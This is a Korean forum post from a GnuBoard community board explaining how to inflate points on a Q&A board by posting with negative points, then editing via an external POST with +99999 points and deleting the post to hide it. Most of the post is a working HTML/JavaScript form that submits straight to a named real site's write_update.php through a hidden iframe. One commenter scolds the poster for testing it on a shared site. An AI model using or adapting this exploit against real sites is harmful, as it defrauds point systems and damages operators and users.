버그 > 자유게시판

자유게시판

버그 정보

버그

본문

1. 글 작성시 - 포인트 값으로 작성하며, 외부에서 POST 으로 직접적으로 /bbs/write_update.php 파일에 요청한다.

2. 다시 글 수정시 + 포인트 값으로 수정하며, 역시 외부에서 요청한다.

3. 답변을 채택하였을 경우 글을 한번 더 수정을 한다.

※ 수정이 되었을 경우 미채택 상태로 돌아가며, 댓글과 함께 게시물을 삭제하면 완전 범죄가 된다.
단, 포인트 내역에는 자료가 존재한다.






<html>
<head>
<title>질문답변 조작하기</title>
</head>
<body>
<form name="fbbs" method="post" action="javascript:fbbs_submit(document.fbbs);">
<table>
<tr height="30">
    <td width="120">게시판 아이디</td>
    <td><input type="text" name="bo_table" value="g4_qa" /></td>
</tr>
<tr height="30">
    <td>글쓰기</td>
    <td><input type="radio" name="w" value="" checked onclick="bbs_type('new');" /> 새글 <input type="radio" name="w" value="u" onclick="bbs_type('edit');" /> 수정</td>
</tr>
<tr height="30">
    <td>wr_id</td>
    <td><input type="text" name="wr_id" value="" /> (수정일 경우 wr_id 값을 입력해주세요.)</td>
</tr>
<tr height="30">
    <td>제목</td>
    <td><input type="text" name="wr_subject" value="?" /></td>
</tr>
<tr height="30">
    <td>내용</td>
    <td><input type="text" name="wr_content" value="?" /></td>
</tr>
<tr height="30">
    <td>포인트</td>
    <td><input type="text" id="wr_1" name="wr_1" value="-1000" /></td>
</tr>
<tr height="30">
    <td colspan="2"><input type="submit" value="확인" /></td>
</tr>
</table>
</form>

<iframe width=0 height=0 name='hiddenframe' style='display:none;'></iframe>

<script type="text/javascript">
function bbs_type(id)
{

    var f = document.fbbs;

    if (id == 'new') {

        f.wr_id.value = "";
        f.wr_1.value = "-1000";

    } else {

        f.wr_id.value = "";
        f.wr_1.value = "99999";

    }

}

function fbbs_submit(f)
{
    f.action = "http://sir.co.kr/bbs/write_update.php";
    f.target = "hiddenframe";
    f.submit();
}
</script>

</body>
</html>
추천
0
  • 복사

댓글 9개

상식에서 접근하세요. 세상의 모든 프로그램은 완벽할 수 없습니다. 더군다나 많은 유저가 함께 이용하는 개발자 사이트에서 완전하지 못하다고 해서 마냥 테스트를 남발하면 나름대로 자아도취에 빠질 수는 있겠지만 많은 사람들에게 피해를 줄 수 있다는 것쯤은 상식이겠지요.
역으로 님이 제작하거나 운영하는 곳에 가서 이런 테스트를 직접적으로 진행한다면 님은 어떠실 것 같습니까? 한 번 더 생각한 후 실행에 옮기는 성숙한 자세가 필요할 듯 합니다.
© SIRSOFT
현재 페이지 제일 처음으로